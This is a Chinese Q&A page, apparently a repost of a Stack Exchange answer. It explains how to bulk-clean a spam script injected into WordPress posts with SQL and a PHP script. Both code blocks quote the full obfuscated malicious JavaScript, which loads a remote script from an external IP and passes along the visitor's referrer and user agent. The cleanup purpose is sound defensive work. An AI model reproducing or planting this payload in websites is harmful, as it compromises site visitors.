You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

网站遭SPAM注入后,清理含特殊字符恶意脚本的高效方法求助

兄弟,手动删1000多条恶意脚本确实要崩溃!我之前帮客户处理过几乎一模一样的WP注入问题,给你几个高效的批量清理方案,分分钟搞定:

一、数据库批量替换(最直接高效)

这是最快的方法,直接在数据库层面批量替换,不用一条条手动改。

  • 第一步:先全量备份数据库! 这是绝对的底线,不管操作多熟练,先备份,避免失误搞砸数据。

  • 第二步:构造正确的替换SQL
    因为你的恶意脚本里有大量特殊字符(单引号、反斜杠这些),直接写进SQL会报错,得先把脚本里的单引号'替换成两个单引号'',这样SQL才能正确识别字符串。

    假设你的网站是WordPress(从脚本里的wpinfo能看出来),内容存在wp_posts表的post_content字段里,执行以下SQL语句:

    -- 先查询验证要替换的条目,确认无误再执行UPDATE
    SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%<noindex><script id="wpinfo-pst1"%>';
    
    -- 执行批量替换
    UPDATE wp_posts 
    SET post_content = REPLACE(post_content, '<noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!\'\'.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return\'\\w+\'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp(\'\\b\'+e(c)+\'\\b\',\'g\'),k[c])}}return p}(\'0.6("<a g=\\'2\\' c=\\'d\\' e=\\'b/2\\' 4=\\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\\'></k"+"l>");n m="q";\',30,30,\'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zinsz|var|u0026u|referrer|bhsyf||js|php\'.split(\'|\'),0,{}))</script></noindex>', '')
    WHERE post_content LIKE '%<noindex><script id="wpinfo-pst1"%>';
    
    • 如果是其他数据库(比如PostgreSQL),语法类似,只要保证单引号转义正确就行。
    • 一定要先跑SELECT语句确认目标条目,再执行UPDATE!
二、PHP脚本批量清理(适合怕SQL出错的情况)

如果你对SQL不太熟悉,可以写个简单的PHP脚本(针对WordPress),自动遍历所有文章并清理:

<?php
// 加载WordPress环境,放在WP根目录执行
require_once('wp-load.php');

// 定义要移除的恶意脚本内容,注意反斜杠要转义
$malicious_script = '<noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!\'\'.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return\'\\w+\'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp(\'\\b\'+e(c)+\'\\b\',\'g\'),k[c])}}return p}(\'0.6("<a g=\\'2\\' c=\\'d\\' e=\\'b/2\\' 4=\\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\\'></k"+"l>");n m="q";\',30,30,\'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zinsz|var|u0026u|referrer|bhsyf||js|php\'.split(\'|\'),0,{}))</script></noindex>';

// 查询所有包含恶意脚本的内容
$args = array(
    'post_type' => 'any', // 匹配所有文章类型(文章、页面、自定义类型)
    'posts_per_page' => -1, // 一次性获取所有结果
    's' => '<noindex><script id="wpinfo-pst1"', // 搜索关键词定位目标内容
);

$query = new WP_Query($args);

if ($query->have_posts()) {
    while ($query->have_posts()) {
        $query->the_post();
        $post_id = get_the_ID();
        $original_content = get_post_field('post_content', $post_id);
        
        // 替换恶意脚本为空字符串
        $clean_content = str_replace($malicious_script, '', $original_content);
        
        // 更新文章内容
        wp_update_post(array(
            'ID' => $post_id,
            'post_content' => $clean_content,
        ));
        
        echo "已清理文章ID: {$post_id} <br>";
    }
} else {
    echo "未找到包含该恶意脚本的内容";
}

wp_reset_postdata();
?>
  • 把这个脚本命名为clean-spam.php,上传到WordPress根目录,用浏览器访问一次(比如yourdomain.com/clean-spam.php),脚本会自动完成清理。
  • 清理完成后立即删除这个脚本,避免被利用产生安全风险。
  • 同样,先备份数据库再执行!
三、后续注意事项
  • 验证清理结果:清理完成后,随机抽查几个页面,查看源代码确认恶意脚本已经被移除。
  • 加固防护:你已经做了安全加固,记得定期更新WordPress核心、主题、插件的版本,安装安全监控插件(比如Wordfence),开启防火墙,避免再次被注入。

内容的提问来源于stack exchange,提问作者JoeDostie

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.15 08:10:03